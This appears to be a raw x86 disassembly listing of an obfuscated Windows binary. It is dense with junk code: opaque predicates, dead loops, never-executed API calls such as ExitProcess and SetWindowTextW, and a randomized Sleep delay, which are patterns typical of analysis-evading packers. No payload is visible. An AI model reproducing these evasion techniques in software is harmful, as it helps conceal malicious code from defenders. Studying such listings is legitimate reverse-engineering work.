dec eax
push 4
pop ecx
shl ecx, 0
mov dword [ebp + ecx - 0x2280], eax
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x2280], 0
jl 0x460d51
mov dword [ebp - 0xb90], 0xa3dbc56e
mov dword [ebp - 0x584], 0x6cd5fec4
mov eax, dword [ebp - 0xac]
cmp dword [ebp + eax*4 - 0x22fc], 0
je 0x460b5e
mov eax, 0x2835357f
test eax, eax
je 0x460b5e
mov dword [ebp - 0x197c], 1
jmp 0x460b65
and dword [ebp - 0x197c], 0
cmp dword [ebp - 0xac], 0
jne 0x460b7a
mov dword [ebp - 0x2198], 1
jmp 0x460b81
and dword [ebp - 0x2198], 0
mov eax, dword [ebp - 0xac]
cmp eax, dword [ebp - 0x2198]
jl 0x460b9b
mov dword [ebp - 0x1974], 1
jmp 0x460ba2
and dword [ebp - 0x1974], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x2280]
add eax, dword [ebp - 0x1974]
cmp eax, 0xffffffff
je 0x460bc8
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x2280], 0
mov eax, dword [ebp - 0xac]
cmp dword [ebp + eax*4 - 0x22fc], 0x45b3659
jne 0x460be7
mov dword [ebp - 0x1e14], 1
jmp 0x460bee
and dword [ebp - 0x1e14], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x22fc]
mov dword [ebp - 0xb90], eax
mov eax, dword [ebp - 0x584]
add eax, dword [ebp - 0x1e14]
cmp dword [ebp - 0xb90], eax
jl 0x460c21
mov dword [ebp - 0x204c], 1
jmp 0x460c28
and dword [ebp - 0x204c], 0
mov eax, dword [ebp - 0x197c]
cmp eax, dword [ebp - 0x204c]
je 0x460c42
mov dword [ebp - 0x1984], 1
jmp 0x460c49
and dword [ebp - 0x1984], 0
mov eax, dword [ebp - 0xac]
cmp dword [ebp - 0x1984], eax
jne 0x460c63
mov dword [ebp - 0x1e1c], 1
jmp 0x460c6a
and dword [ebp - 0x1e1c], 0
mov eax, dword [ebp - 0xac]
cmp dword [ebp - 0x1e1c], eax
jl 0x460c84
mov dword [ebp - 0x198c], 1
jmp 0x460c8b
and dword [ebp - 0x198c], 0
mov eax, dword [ebp - 0x25d8]
cmp dword [ebp - 0x198c], eax
jl 0x460ca5
mov dword [ebp - 0x2138], 1
jmp 0x460cac
and dword [ebp - 0x2138], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x2280]
cmp dword [ebp - 0x2138], eax
je 0x460d04
mov dword [ebp - 0x2b6c], 0xed7d4130
mov dword [ebp - 0x2b68], 0xed7d4130
mov dword [ebp - 0x2b64], 0xed7d4130
mov dword [ebp - 0x2b60], 0xed7d4130
push 4
pop eax
imul eax, eax, 3
mov ecx, dword [ebp - 0xac]
mov eax, dword [ebp + eax - 0x2b6c]
mov dword [ebp + ecx*4 - 0x22fc], eax
jmp 0x460d4c
mov dword [ebp - 0x584], 0
jmp 0x460d1d
mov eax, dword [ebp - 0x584]
inc eax
mov dword [ebp - 0x584], eax
cmp dword [ebp - 0x584], 0x32
jle 0x460d42
mov byte [ebp - 0x427], 0
movzx eax, byte [ebp - 0x427]
test eax, eax
je 0x460d40
push 0
call dword [sym.imp.KERNEL32.dll_GlobalLock]
jmp 0x460d10
mov dword [ebp - 0xb90], 0xda73a151
jmp 0x460af6
jmp 0x460a94
mov dword [ebp - 0x594], 0
jmp 0x460d6f
mov eax, dword [ebp - 0x594]
dec eax
mov dword [ebp - 0x594], eax
cmp dword [ebp - 0x594], 0
jl 0x461585
mov dword [ebp - 0x8b4], 4
mov dword [ebp - 0x27e8], 0
mov byte [ebp - 0x31c], 0
movzx eax, byte [ebp - 0x31c]
test eax, eax
je 0x460dbb
push 0xd16
push 0x1637
push 0
push 0x462
push 0
call dword [sym.imp.SHELL32.dll_SHGetFileInfoW]
mov dword [ebp - 0x8b4], 0
jmp 0x460dd4
mov eax, dword [ebp - 0x8b4]
inc eax
mov dword [ebp - 0x8b4], eax
cmp dword [ebp - 0x8b4], 0xe
jg 0x460e21
mov dword [ebp - 0xc44], 9
cmp dword [ebp - 0xc44], 0
jne 0x460e02
cmp dword [ebp - 0xc44], 0
jne 0x460e02
and dword [ebp - 0x1994], 0
jmp 0x460e0c
mov dword [ebp - 0x1994], 1
mov eax, dword [ebp - 0xc44]
imul eax, dword [ebp - 0x1994]
mov dword [ebp - 0x27e8], eax
jmp 0x460dc7
mov dword [ebp - 0xa98], 0x7909b792
mov dword [ebp - 0x8bc], 0x3ae35568
mov dword [ebp - 0x2cf0], 0x8ab79ae4
mov dword [ebp - 0x2dd0], 0
mov dword [ebp - 0x2cf8], 0xfffffff6
mov dword [ebp - 0x2dd8], 0xd29a2a67
mov dword [ebp - 0x1e24], 0
mov dword [ebp - 0xa90], 0
jmp 0x460e80
mov eax, dword [ebp - 0xa90]
inc eax
mov dword [ebp - 0xa90], eax
cmp dword [ebp - 0xa90], 3
jge 0x460e9c
mov eax, dword [ebp - 0xa90]
mov dword [ebp + eax*4 - 0x353c], 0xfffffffe
jmp 0x460e73
mov dword [ebp - 0x8bc], 0xfffffff6
jmp 0x460eb5
mov eax, dword [ebp - 0x8bc]
dec eax
mov dword [ebp - 0x8bc], eax
cmp dword [ebp - 0x8bc], 0xffffffeb
jne 0x460f58
mov dword [ebp - 0x2d00], 0x4c7b
mov dword [ebp - 0x1a0], 0
jmp 0x460ee5
mov eax, dword [ebp - 0x1a0]
inc eax
mov dword [ebp - 0x1a0], eax
cmp dword [ebp - 0x1a0], 2
jge 0x460f01
mov eax, dword [ebp - 0x1a0]
mov dword [ebp + eax*4 - 0x34e4], 0xe456
jmp 0x460ed8
mov dword [ebp - 0x1a0], 0
jmp 0x460f1a
mov eax, dword [ebp - 0x1a0]
inc eax
mov dword [ebp - 0x1a0], eax
cmp dword [ebp - 0x1a0], 4
jge 0x460f36
mov eax, dword [ebp - 0x1a0]
mov dword [ebp + eax*4 - 0x3494], 0
jmp 0x460f0d
push 4
pop eax
shl eax, 1
mov dword [ebp + eax - 0x3494], 0
mov eax, dword [ebp - 0x1e24]
inc eax
mov dword [ebp - 0x1e24], eax
jmp 0x460ea8
mov dword [ebp - 0xa98], 0
jmp 0x460f71
cmp dword [ebp - 0xa98], 0
jg 0x461580
mov dword [ebp - 0x2de0], 0x4f01c089
mov byte [ebp - 0x43f], 0
movzx eax, byte [ebp - 0x43f]
test eax, eax
je 0x460fa9
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetWindowTextW]
mov byte [ebp - 0x31e], 0
movzx eax, byte [ebp - 0x31e]
test eax, eax
je 0x460fc6
push 0x1a36
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov dword [ebp - 0x294], 0x2c03342e
mov dword [ebp - 0x4b8], 1
mov dword [ebp - 0x2b0c], 0x6182eac4
mov dword [ebp - 0x2b08], 0x6182eac4
mov dword [ebp - 0x2b04], 0x6182eac4
mov dword [ebp - 0x2b00], 0x6182eac4
mov dword [ebp - 0xaa0], 0
jmp 0x46101b
mov eax, dword [ebp - 0xaa0]
inc eax
mov dword [ebp - 0xaa0], eax
cmp dword [ebp - 0xaa0], 3
jge 0x461037
mov eax, dword [ebp - 0xaa0]
mov dword [ebp + eax*4 - 0x333c], 0xba5f27a4
jmp 0x46100e
mov dword [ebp - 0x294], 0
jmp 0x461050
mov eax, dword [ebp - 0x294]
dec eax
mov dword [ebp - 0x294], eax
cmp dword [ebp - 0x294], 0xffffffff
jle 0x461067
mov eax, dword [ebp - 0x294]
mov dword [ebp - 0x4b8], eax
jmp 0x461043
mov dword [ebp - 0x4b8], 3
jmp 0x461080
cmp dword [ebp - 0x4b8], 0
jl 0x4611ff
mov dword [ebp - 0x25e0], 9
mov dword [ebp - 0x8c8], 0
jmp 0x4610b0
mov byte [ebp - 0x429], 0
movzx eax, byte [ebp - 0x429]
test eax, eax
je 0x46157b
jmp 0x460d62
mov dword [ebp - 0xfc], 6
mov dword [ebp - 0x4c0], 0x7cccaea0
mov dword [ebp - 0x206c], 0xa99da972
mov dword [ebp - 0x2b1c], 0x6cc72b75
mov dword [ebp - 0x2b18], 0x6cc72b75
mov dword [ebp - 0x2b14], 0x6cc72b75
mov dword [ebp - 0x2b10], 0x6cc72b75
mov byte [ebp - 0x45d], 0
movzx eax, byte [ebp - 0x45d]
test eax, eax
je 0x4615e7
push 0
push 0
call dword [sym.imp.OLEAUT32.dll_VariantCopyInd]
mov dword [ebp - 0xfc], 0
jmp 0x461600
mov eax, dword [ebp - 0xfc]
dec eax
mov dword [ebp - 0xfc], eax
cmp dword [ebp - 0xfc], 0xfffffffe
jge 0x461885
mov dword [ebp - 0x5c], 7
mov dword [ebp - 0x2de8], 0x58d83f7c
mov dword [ebp - 0x2d10], 0x9b41dbc4
mov dword [ebp - 0x2df0], 0xd8e1ce43
mov dword [ebp - 0x2d18], 0xffffffff
mov dword [ebp - 0x208c], 0x8aff
mov dword [ebp - 0x9c4], 0
jmp 0x46165f
mov eax, dword [ebp - 0x9c4]
inc eax
mov dword [ebp - 0x9c4], eax
cmp dword [ebp - 0x9c4], 3
jge 0x46167b
mov eax, dword [ebp - 0x9c4]
mov dword [ebp + eax*4 - 0x235c], 1
jmp 0x461652
mov dword [ebp - 0x5c], 2
jmp 0x46168b
mov eax, dword [ebp - 0x5c]
dec eax
mov dword [ebp - 0x5c], eax
cmp dword [ebp - 0x5c], 0
jl 0x4617f8
mov dword [ebp - 0x19f4], 1
mov eax, dword [ebp - 0x5c]
cmp dword [ebp + eax*4 - 0x235c], 0xfffffffa
jge 0x4617e2
mov eax, dword [ebp - 0x5c]
cmp dword [ebp + eax*4 - 0x235c], 0
jne 0x4617d2
cmp dword [ebp - 0xfc], 0
je 0x461752
mov eax, dword [ebp - 0x5c]
mov ecx, dword [ebp - 0xfc]
cmp dword [ebp + eax*4 - 0x235c], ecx
jle 0x4616ec
mov dword [ebp - 0x2084], 1
jmp 0x4616f3
and dword [ebp - 0x2084], 0
cmp dword [ebp - 0x2084], 0xffffffff
je 0x461717
push 6
pop eax
test eax, eax
je 0x461717
mov eax, dword [ebp - 0x5c]
cmp dword [ebp + eax*4 - 0x235c], 0
je 0x461717
cmp dword [ebp - 0xfc], 0
mov eax, dword [ebp - 0x5c]
mov eax, dword [ebp + eax*4 - 0x235c]
mov dword [ebp - 0x2df8], eax
mov dword [ebp - 0x19f4], 0x40e1
mov eax, dword [ebp - 0x19f4]
mov dword [ebp - 0x4c0], eax
cmp dword [ebp - 0x4c0], 0
je 0x461752
mov dword [ebp - 0x1e54], 1
jmp 0x461759
and dword [ebp - 0x1e54], 0
mov eax, dword [ebp - 0x1e54]
add eax, 0x237
push 4
pop ecx
shl ecx, 1
cmp eax, dword [ebp + ecx - 0x235c]
je 0x46177e
mov dword [ebp - 0x19fc], 1
jmp 0x461785
and dword [ebp - 0x19fc], 0
mov eax, dword [ebp - 0x19fc]
mov dword [ebp - 0x206c], eax
mov eax, dword [ebp - 0xfc]
cmp dword [ebp - 0x206c], eax
je 0x4617ab
mov dword [ebp - 0x1a04], 1
jmp 0x4617b2
and dword [ebp - 0x1a04], 0
mov eax, dword [ebp - 0xfc]
cmp dword [ebp - 0x1a04], eax
je 0x4617c9
mov eax, 0x2c78
test eax, eax
jne 0x4617d2
and dword [ebp - 0x1e5c], 0
jmp 0x4617dc
mov dword [ebp - 0x1e5c], 1
mov eax, dword [ebp - 0xfc]
push 4
pop eax
imul eax, eax, 3
mov dword [ebp + eax - 0x2b1c], 0
jmp 0x461684
mov dword [ebp - 0x5c], 0
jmp 0x461808
mov eax, dword [ebp - 0x5c]
inc eax
mov dword [ebp - 0x5c], eax
cmp dword [ebp - 0x5c], 3
jg 0x461880
mov dword [ebp - 0x1a0c], 0
mov dword [ebp - 0x2d20], 0
mov dword [ebp - 0x2e00], 0xe7a4860c
mov dword [ebp - 0x2d28], 0xffffffff
mov dword [ebp - 0x4c0], 3
jmp 0x46184f
mov eax, dword [ebp - 0x4c0]
dec eax
mov dword [ebp - 0x4c0], eax
cmp dword [ebp - 0x4c0], 0
jl 0x461871
mov dword [ebp - 0x2e08], 0x75015e0c
mov eax, dword [ebp - 0x1a0c]
inc eax
mov dword [ebp - 0x1a0c], eax
jmp 0x461842
mov eax, dword [ebp - 0x208c]
dec eax
mov dword [ebp - 0x208c], eax
jmp 0x461801
jmp 0x4615f3
cmp dword [ebp - 0x594], 0
je 0x461890
jmp 0x461895
jmp 0x460950
mov dword [ebp - 0x27f0], 0xa53d06ce
mov dword [ebp - 0x59c], 1
mov dword [ebp - 0x8d8], 0
jmp 0x4618c2
mov eax, dword [ebp - 0x8d8]
inc eax
mov dword [ebp - 0x8d8], eax
cmp dword [ebp - 0x8d8], 3
jge 0x4618de
mov eax, dword [ebp - 0x8d8]
mov dword [ebp + eax*4 - 0x35f0], 1
jmp 0x4618b5
mov eax, dword [ebp - 0x27f0]
mov dword [ebp - 0x59c], eax
mov dword [ebp - 0x59c], 2
jmp 0x461903
mov eax, dword [ebp - 0x59c]
dec eax
mov dword [ebp - 0x59c], eax
cmp dword [ebp - 0x59c], 0
jl 0x461928
mov byte [ebp - 0x322], 0
movzx eax, byte [ebp - 0x322]
test eax, eax
je 0x461926
push 0
call dword [sym.imp.USER32.dll_CreateIconIndirect]
jmp 0x4618f6
call fcn.0046d252
cdq
push 3
pop ecx
idiv ecx
add edx, 3
imul eax, edx, 0x3e8
push eax
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x46b04c
mov dword [ebp - 0xb4], 0xaabecba2
mov dword [ebp - 0x25f0], 0x31c36b58
mov dword [ebp - 0xa3c], 0
jmp 0x461975
mov eax, dword [ebp - 0xa3c]
inc eax
mov dword [ebp - 0xa3c], eax
cmp dword [ebp - 0xa3c], 2
jge 0x461991
mov eax, dword [ebp - 0xa3c]
mov dword [ebp + eax*4 - 0x230c], 0x13dd33a4
jmp 0x461968
mov dword [ebp - 0xb4], 1
jmp 0x4619aa
mov eax, dword [ebp - 0xb4]
dec eax
mov dword [ebp - 0xb4], eax
cmp dword [ebp - 0xb4], 0
jl 0x461c5f
mov dword [ebp - 0x8e0], 0
jmp 0x4619d0
mov eax, dword [ebp - 0x8e0]
inc eax
mov dword [ebp - 0x8e0], eax
cmp dword [ebp - 0x8e0], 3
jge 0x4619ec
mov eax, dword [ebp - 0x8e0]
mov dword [ebp + eax*4 - 0x228c], 0
jmp 0x4619c3
push 4
pop eax
shl eax, 0
mov dword [ebp + eax - 0x228c], 1
jmp 0x461a1a
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x228c]
dec eax
push 4
pop ecx
shl ecx, 0
mov dword [ebp + ecx - 0x228c], eax
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x228c], 0
jl 0x461c5a
mov dword [ebp - 0xc1c], 0xa3dbc56e
mov dword [ebp - 0x5a4], 0x6cd5fec4
mov eax, dword [ebp - 0xb4]
cmp dword [ebp + eax*4 - 0x230c], 0
je 0x461a67
mov eax, 0x2835357f
test eax, eax
je 0x461a67
mov dword [ebp - 0x2074], 1
jmp 0x461a6e
and dword [ebp - 0x2074], 0
cmp dword [ebp - 0xb4], 0
jne 0x461a83
mov dword [ebp - 0x1a14], 1
jmp 0x461a8a
and dword [ebp - 0x1a14], 0
mov eax, dword [ebp - 0xb4]
cmp eax, dword [ebp - 0x1a14]
jl 0x461aa4
mov dword [ebp - 0x1e64], 1
jmp 0x461aab
and dword [ebp - 0x1e64], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x228c]
add eax, dword [ebp - 0x1e64]
cmp eax, 0xffffffff
je 0x461ad1
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x228c], 0
mov eax, dword [ebp - 0xb4]
cmp dword [ebp + eax*4 - 0x230c], 0x45b3659
jne 0x461af0
mov dword [ebp - 0x1a1c], 1
jmp 0x461af7
and dword [ebp - 0x1a1c], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x230c]
mov dword [ebp - 0xc1c], eax
mov eax, dword [ebp - 0x5a4]
add eax, dword [ebp - 0x1a1c]
cmp dword [ebp - 0xc1c], eax
jl 0x461b2a
mov dword [ebp - 0x1a24], 1
jmp 0x461b31
and dword [ebp - 0x1a24], 0
mov eax, dword [ebp - 0x2074]
cmp eax, dword [ebp - 0x1a24]
je 0x461b4b
mov dword [ebp - 0x1e6c], 1
jmp 0x461b52
and dword [ebp - 0x1e6c], 0
mov eax, dword [ebp - 0xb4]
cmp dword [ebp - 0x1e6c], eax
jne 0x461b6c
mov dword [ebp - 0x1a2c], 1
jmp 0x461b73
and dword [ebp - 0x1a2c], 0
mov eax, dword [ebp - 0xb4]
cmp dword [ebp - 0x1a2c], eax
jl 0x461b8d
mov dword [ebp - 0x2094], 1
jmp 0x461b94
and dword [ebp - 0x2094], 0
mov eax, dword [ebp - 0x25f0]
cmp dword [ebp - 0x2094], eax
jl 0x461bae
mov dword [ebp - 0x1a34], 1
jmp 0x461bb5
and dword [ebp - 0x1a34], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x228c]
cmp dword [ebp - 0x1a34], eax
je 0x461c0d
mov dword [ebp - 0x2b3c], 0xed7d4130
mov dword [ebp - 0x2b38], 0xed7d4130
mov dword [ebp - 0x2b34], 0xed7d4130
mov dword [ebp - 0x2b30], 0xed7d4130
push 4
pop eax
imul eax, eax, 3
mov ecx, dword [ebp - 0xb4]
mov eax, dword [ebp + eax - 0x2b3c]
mov dword [ebp + ecx*4 - 0x230c], eax
jmp 0x461c55
mov dword [ebp - 0x5a4], 0
jmp 0x461c26
mov eax, dword [ebp - 0x5a4]
inc eax
mov dword [ebp - 0x5a4], eax
cmp dword [ebp - 0x5a4], 0x32
jle 0x461c4b
mov byte [ebp - 0x42b], 0
movzx eax, byte [ebp - 0x42b]
test eax, eax
je 0x461c49
push 0
call dword [sym.imp.KERNEL32.dll_GlobalLock]
jmp 0x461c19
mov dword [ebp - 0xc1c], 0xda73a151
jmp 0x4619ff
jmp 0x46199d
mov dword [ebp - 0xc88], 0x3eca4f83
mov dword [ebp - 0xc84], 0x3eca4f83
mov dword [ebp - 0xc80], 0x3eca4f83
mov dword [ebp - 0xc7c], 0x3eca4f83
mov dword [ebp - 0x104], 0x1fe77dd6
push 4
pop eax
imul eax, eax, 3
push 4
pop ecx
imul ecx, ecx, 3
mov eax, dword [ebp + eax - 0xc88]
mov dword [ebp + ecx - 0xc88], eax
mov dword [ebp - 0x104], 3
jmp 0x461cc4
mov eax, dword [ebp - 0x104]
dec eax
mov dword [ebp - 0x104], eax
cmp dword [ebp - 0x104], 0
jl 0x461f24
mov dword [ebp - 0x64], 0x6b8f3d42
mov dword [ebp - 0x64], 0
jmp 0x461ce8
mov eax, dword [ebp - 0x64]
inc eax
mov dword [ebp - 0x64], eax
cmp dword [ebp - 0x64], 3
jg 0x461e32
mov dword [ebp - 0xab8], 0x23d4
xor eax, eax
inc eax
je 0x461e16
push 4
pop eax
imul eax, eax, 3
mov eax, dword [ebp + eax - 0xc88]
mov dword [ebp - 0x2d30], eax
mov eax, 0x3191
test eax, eax
je 0x461d3d
mov eax, dword [ebp - 0x104]
cmp dword [ebp + eax*4 - 0xc88], 0
je 0x461d3d
mov dword [ebp - 0x1e74], 1
jmp 0x461d44
and dword [ebp - 0x1e74], 0
mov eax, dword [ebp - 0x104]
mov eax, dword [ebp + eax*4 - 0xc88]
cmp dword [ebp - 0x1e74], eax
je 0x461d65
mov dword [ebp - 0x1a3c], 1
jmp 0x461d6c
and dword [ebp - 0x1a3c], 0
mov eax, dword [ebp - 0x104]
mov eax, dword [ebp + eax*4 - 0xc88]
cmp eax, dword [ebp - 0x1a3c]
je 0x461d8d
mov dword [ebp - 0x207c], 1
jmp 0x461d94
and dword [ebp - 0x207c], 0
cmp dword [ebp - 0x207c], 0x8ec
jle 0x461dac
mov dword [ebp - 0x1a44], 1
jmp 0x461db3
and dword [ebp - 0x1a44], 0
mov eax, dword [ebp - 0xab8]
cmp dword [ebp - 0x1a44], eax
je 0x461dcd
mov dword [ebp - 0x28d0], 1
jmp 0x461dd4
and dword [ebp - 0x28d0], 0
mov eax, dword [ebp - 0xab8]
mov dword [ebp - 0x2e10], eax
cmp dword [ebp - 0x64], 0xeef7d266
ja 0x461df5
mov dword [ebp - 0x1e7c], 1
jmp 0x461dfc
and dword [ebp - 0x1e7c], 0
mov eax, dword [ebp - 0xab8]
cmp dword [ebp - 0x1e7c], eax
jle 0x461e16
mov dword [ebp - 0x1a4c], 1
jmp 0x461e1d
and dword [ebp - 0x1a4c], 0
mov eax, dword [ebp - 0x64]
mov ecx, dword [ebp - 0x1a4c]
mov dword [ebp + eax*4 - 0xc88], ecx
jmp 0x461ce1
mov dword [ebp - 0x64], 0
jmp 0x461e42
mov eax, dword [ebp - 0x64]
inc eax
mov dword [ebp - 0x64], eax
cmp dword [ebp - 0x64], 3
jg 0x461f1f
mov eax, dword [ebp - 0x104]
mov eax, dword [ebp + eax*4 - 0xc88]
cmp dword [ebp - 0x64], eax
jle 0x461e6a
mov dword [ebp - 0x1a54], 1
jmp 0x461e71
and dword [ebp - 0x1a54], 0
mov eax, dword [ebp - 0x104]
cmp dword [ebp + eax*4 - 0xc88], 0
jne 0x461e90
cmp dword [ebp - 0x64], 0
jne 0x461e90
and dword [ebp - 0x209c], 0
jmp 0x461e9a
mov dword [ebp - 0x209c], 1
mov eax, 0x9a488d5
sub eax, dword [ebp - 0x209c]
je 0x461eba
push 9
pop eax
test eax, eax
je 0x461eba
mov dword [ebp - 0x1e84], 1
jmp 0x461ec1
and dword [ebp - 0x1e84], 0
mov eax, dword [ebp - 0x1a54]
cmp eax, dword [ebp - 0x1e84]
jg 0x461edb
mov dword [ebp - 0x1a5c], 1
jmp 0x461ee2
and dword [ebp - 0x1a5c], 0
mov eax, dword [ebp - 0x104]
mov eax, dword [ebp + eax*4 - 0xc88]
cmp eax, dword [ebp - 0x1a5c]
jne 0x461f03
mov dword [ebp - 0x1ee4], 1
jmp 0x461f0a
and dword [ebp - 0x1ee4], 0
mov eax, dword [ebp - 0x64]
mov ecx, dword [ebp - 0x1ee4]
mov dword [ebp + eax*4 - 0xc88], ecx
jmp 0x461e3b
jmp 0x461cb7
mov dword [ebp - 0x2b5c], 5
mov dword [ebp - 0x2b58], 5
mov dword [ebp - 0x2b54], 5
mov dword [ebp - 0x2b50], 5
mov dword [ebp - 0x25f8], 0xba47c9d5
mov dword [ebp - 0x9cc], 0
jmp 0x461f6f
mov eax, dword [ebp - 0x9cc]
inc eax
mov dword [ebp - 0x9cc], eax
cmp dword [ebp - 0x9cc], 1
jge 0x461f8b
mov eax, dword [ebp - 0x9cc]
mov dword [ebp + eax*4 - 0x5ac], 0xfffffffc
jmp 0x461f62
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x5ac], 0
jmp 0x461fb9
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x5ac]
inc eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x5ac], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x5ac], 9
jge 0x462011
mov dword [ebp - 0x1a64], 0xe7d214c4
push 4
pop eax
imul eax, eax, 3
mov dword [ebp + eax - 0x2b5c], 0xfffffffd
mov eax, dword [ebp - 0x1a64]
mov dword [ebp - 0x2d38], eax
mov eax, dword [ebp - 0x1a64]
mov dword [ebp - 0x2e18], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x5ac]
mov dword [ebp - 0x25f8], eax
jmp 0x461f9e
mov dword [ebp - 0x114], 0xf40fc027
mov dword [ebp - 0x8e8], 1
mov dword [ebp - 0x8e8], 0
jmp 0x46203e
mov eax, dword [ebp - 0x8e8]
dec eax
mov dword [ebp - 0x8e8], eax
cmp dword [ebp - 0x8e8], 0xffffffe5
jg 0x46212e
mov dword [ebp - 0xa94], 0xffffffff
mov dword [ebp - 0x27f8], 0xf023498e
mov dword [ebp - 0xa94], 0
jmp 0x462078
mov eax, dword [ebp - 0xa94]
dec eax
mov dword [ebp - 0xa94], eax
cmp dword [ebp - 0xa94], 0xffffffe6
jne 0x462129
mov dword [ebp - 0x670], 0xffffffff
mov dword [ebp - 0x670], 0
jmp 0x4620a8
mov eax, dword [ebp - 0x670]
inc eax
mov dword [ebp - 0x670], eax
cmp dword [ebp - 0x670], 0x15
jge 0x462124
mov dword [ebp - 0x8f0], 0
jmp 0x4620ca
mov eax, dword [ebp - 0x8f0]
inc eax
mov dword [ebp - 0x8f0], eax
cmp dword [ebp - 0x8f0], 4
jge 0x4620e6
mov eax, dword [ebp - 0x8f0]
mov dword [ebp + eax*4 - 0x34ac], 0x5f0ed1ad
jmp 0x4620bd
push 4
pop eax
imul eax, eax, 3
mov eax, dword [ebp + eax - 0x34ac]
mov dword [ebp - 0x27f8], eax
mov byte [ebp - 0x324], 0
movzx eax, byte [ebp - 0x324]
test eax, eax
je 0x46211f
push 0
push 0x2686
push 0
push 0x52f
call dword [sym.imp.KERNEL32.dll_GetStringTypeW]
jmp 0x46209b
jmp 0x46206b
jmp 0x462031
mov dword [ebp - 0x4d8], 0xffffffff
mov dword [ebp - 0x2d40], 3
mov byte [ebp - 0x441], 0
movzx eax, byte [ebp - 0x441]
test eax, eax
je 0x462163
push 0
push 0x2669
push 0
call dword [sym.imp.KERNEL32.dll_WaitForSingleObjectEx]
mov byte [ebp - 0x326], 0
movzx eax, byte [ebp - 0x326]
test eax, eax
je 0x46217d
push 0
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov dword [ebp - 0x5c4], 0
mov dword [ebp - 0x1e94], 0xfffffffa
mov dword [ebp - 0x1ee8], 0x648bd921
mov dword [ebp - 0xacc], 0xfffffff8
mov dword [ebp - 0xabc], 0
mov dword [ebp - 0x9d4], 2
mov dword [ebp - 0xac4], 0xffff
mov dword [ebp - 0x2800], 0x4d4a788a
mov dword [ebp - 0x2e20], 0xffffffff
mov dword [ebp - 0x1b0], 0
jmp 0x4621f0
mov eax, dword [ebp - 0x1b0]
inc eax
mov dword [ebp - 0x1b0], eax
cmp dword [ebp - 0x1b0], 3
jge 0x46220c
mov eax, dword [ebp - 0x1b0]
mov dword [ebp + eax*4 - 0xcbc], 0x4a20
jmp 0x4621e3
mov dword [ebp - 0x1b0], 0
jmp 0x462225
mov eax, dword [ebp - 0x1b0]
inc eax
mov dword [ebp - 0x1b0], eax
cmp dword [ebp - 0x1b0], 2
jge 0x462241
mov eax, dword [ebp - 0x1b0]
mov dword [ebp + eax*4 - 0x2aa0], 0xd925d3c0
jmp 0x462218
push 4
pop eax
imul eax, eax, 0
push 4
pop ecx
shl ecx, 0
mov ecx, dword [ebp + ecx - 0xcbc]
cmp dword [ebp + eax - 0xcbc], ecx
jne 0x462269
mov dword [ebp - 0x1a84], 1
jmp 0x462270
and dword [ebp - 0x1a84], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xcbc]
mov dword [ebp - 0x2d48], eax
or eax, 0xffffffff
jne 0x46229a
cmp dword [ebp - 0x9d4], 0
jne 0x46229a
and dword [ebp - 0x1e8c], 0
jmp 0x4622a4
mov dword [ebp - 0x1e8c], 1
mov eax, dword [ebp - 0x9d4]
cmp dword [ebp - 0x1e8c], eax
jle 0x4622be
mov dword [ebp - 0x1a6c], 1
jmp 0x4622c5
and dword [ebp - 0x1a6c], 0
mov eax, dword [ebp - 0x1a6c]
mov dword [ebp - 0x1ee8], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xcbc]
cmp dword [ebp - 0x1ee8], eax
je 0x4622f2
mov dword [ebp - 0x1a74], 1
jmp 0x4622f9
and dword [ebp - 0x1a74], 0
mov eax, dword [ebp - 0x1a74]
mov dword [ebp - 0x9d4], eax
mov eax, dword [ebp - 0xabc]
mov dword [ebp - 0x1e94], eax
cmp dword [ebp - 0x1e94], 0
jae 0x462326
mov dword [ebp - 0x1a7c], 1
jmp 0x46232d
and dword [ebp - 0x1a7c], 0
mov eax, dword [ebp - 0x1a7c]
neg eax
mov dword [ebp - 0xabc], eax
jne 0x46234f
cmp dword [ebp - 0x9d4], 0
jne 0x46234f
and dword [ebp - 0x1ef0], 0
jmp 0x462359
mov dword [ebp - 0x1ef0], 1
mov eax, dword [ebp - 0xac4]
dec eax
mov dword [ebp - 0xac4], eax
mov eax, dword [ebp - 0xac4]
cmp eax, dword [ebp - 0x1ef0]
jg 0x462380
mov dword [ebp - 0x2600], 1
jmp 0x462387
and dword [ebp - 0x2600], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xcbc]
mov dword [ebp - 0x2e28], eax
mov eax, 0xa4f2a6ca
sub eax, dword [ebp - 0xacc]
mov dword [ebp - 0xacc], eax
mov eax, dword [ebp - 0xacc]
push 4
pop ecx
imul ecx, ecx, 0
imul eax, dword [ebp + ecx - 0xcbc]
cmp dword [ebp - 0x1a84], eax
jle 0x4623d3
mov dword [ebp - 0x1e9c], 1
jmp 0x4623da
and dword [ebp - 0x1e9c], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x2aa0]
cmp dword [ebp - 0x1e9c], eax
jg 0x4623fb
mov dword [ebp - 0x2934], 1
jmp 0x462402
and dword [ebp - 0x2934], 0
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x2aa0], 8
jb 0x46241e
mov dword [ebp - 0x2608], 1
jmp 0x462425
and dword [ebp - 0x2608], 0
push 4
pop eax
shl eax, 1
